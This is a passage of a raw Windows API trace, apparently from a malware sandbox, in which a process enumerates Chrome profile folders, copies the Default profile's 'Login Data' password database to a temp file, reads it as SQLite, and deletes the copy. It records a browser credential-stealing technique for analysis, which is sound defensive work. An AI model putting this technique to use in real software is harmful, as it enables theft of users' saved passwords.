nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0057.576] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0057.580] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e17c*=0x0, psz="118373", len=0x6 | out: pbstr=0x18e17c*="118373") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="1345", len=0x4 | out: pbstr=0x18e12c*="1345") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e128*=0x0, psz="69", len=0x2 | out: pbstr=0x18e128*="69") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e124*=0x0, psz="2665", len=0x4 | out: pbstr=0x18e124*="2665") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e120*=0x0, psz="1835", len=0x4 | out: pbstr=0x18e120*="1835") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e184*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e134*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e134*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0057.587] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e130*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e130*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e12c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0057.588] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6bfb54, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0057.588] SysReAllocStringLen (in: pbstr=0x18e180*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e134*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e134*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e130*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e130*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e12c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", len=0x3d | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 1 [0057.588] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp"), bFailIfExists=1) returned 1 [0057.595] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", cchWideChar=61, lpMultiByteStr=0x18d130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", lpUsedDefaultChar=0x0) returned 61 [0057.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a08bc, cbMultiByte=61, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmpbݿ") returned 61 [0057.598] GetSystemInfo (in: lpSystemInfo=0x73ba9cd0 | out: lpSystemInfo=0x73ba9cd0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0057.599] VirtualAlloc (lpAddress=0x4513000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x4513000 [0057.599] VirtualAlloc (lpAddress=0x4518000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4518000 [0057.600] VirtualAlloc (lpAddress=0x4519000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4519000 [0057.601] VirtualAlloc (lpAddress=0x451a000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x451a000 [0057.601] VirtualAlloc (lpAddress=0x451b000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x451b000 [0057.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4519040, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0057.602] VirtualAlloc (lpAddress=0x451c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x451c000 [0057.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4519040, cbMultiByte=-1, lpWideCharStr=0x451c080, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 62 [0057.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0057.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", nBufferLength=0x41, lpBuffer=0x4503ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", lpFilePart=0x0) returned 0x3d [0057.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0057.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", cchWideChar=-1, lpMultiByteStr=0x4519080, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp", lpUsedDefaultChar=0x0) returned 62 [0057.603] VirtualAlloc (lpAddress=0x451e000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x451e000 [0057.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0057.603] VirtualAlloc (lpAddress=0x452c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x452c000 [0057.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c5e8, cbMultiByte=-1, lpWideCharStr=0x452c080, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp") returned 62 [0057.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18df48 | out: lpFileInformation=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae3b18f0, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xae3b18f0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0057.604] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8 [0057.604] VirtualAlloc (lpAddress=0x452e000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x452e000 [0057.605] VirtualAlloc (lpAddress=0x4534000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4534000 [0057.605] ReadFile (in: hFile=0x3b8, lpBuffer=0x18e078, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18e03c, lpOverlapped=0x18e000 | out: lpBuffer=0x18e078*, lpNumberOfBytesRead=0x18e03c*=0x64, lpOverlapped=0x18e000) returned 1 [0057.605] VirtualAlloc (lpAddress=0x4536000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x4536000 [0057.609] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0057.615] LockFileEx (in: hFile=0x3b8, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d400 | out: lpOverlapped=0x18d400) returned 1 [0057.615] LockFileEx (in: hFile=0x3b8, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d3f4 | out: lpOverlapped=0x18d3f4) returned 1 [0057.615] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d404 | out: lpOverlapped=0x18d404) returned 1 [0057.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c627, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0057.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d400 | out: lpFileInformation=0x18d400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.615] GetLastError () returned 0x2 [0057.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d418 | out: lpFileInformation=0x18d418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.615] GetLastError () returned 0x2 [0057.617] ReadFile (in: hFile=0x3b8, lpBuffer=0x457e3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d420, lpOverlapped=0x18d3e4 | out: lpBuffer=0x457e3e0*, lpNumberOfBytesRead=0x18d420*=0x800, lpOverlapped=0x18d3e4) returned 1 [0057.622] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d100 | out: lpOverlapped=0x18d100) returned 1 [0057.622] LockFileEx (in: hFile=0x3b8, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18ddd8 | out: lpOverlapped=0x18ddd8) returned 1 [0057.622] LockFileEx (in: hFile=0x3b8, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18ddcc | out: lpOverlapped=0x18ddcc) returned 1 [0057.622] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dddc | out: lpOverlapped=0x18dddc) returned 1 [0057.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c627, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0057.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18ddd8 | out: lpFileInformation=0x18ddd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.622] GetLastError () returned 0x2 [0057.622] ReadFile (in: hFile=0x3b8, lpBuffer=0x18de5c, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18de44, lpOverlapped=0x18de08 | out: lpBuffer=0x18de5c*, lpNumberOfBytesRead=0x18de44*=0x10, lpOverlapped=0x18de08) returned 1 [0057.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c66d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0057.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18ddf0 | out: lpFileInformation=0x18ddf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.622] GetLastError () returned 0x2 [0057.622] ReadFile (in: hFile=0x3b8, lpBuffer=0x457db40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18de10, lpOverlapped=0x18ddd4 | out: lpBuffer=0x457db40*, lpNumberOfBytesRead=0x18de10*=0x800, lpOverlapped=0x18ddd4) returned 1 [0057.623] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ddc0 | out: lpOverlapped=0x18ddc0) returned 1 [0057.623] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\11837313456926651835.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\11837313456926651835.tmp")) returned 1 [0057.624] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0057.626] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0057.632] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0057.633] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0057.635] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0057.635] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0057.637] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, 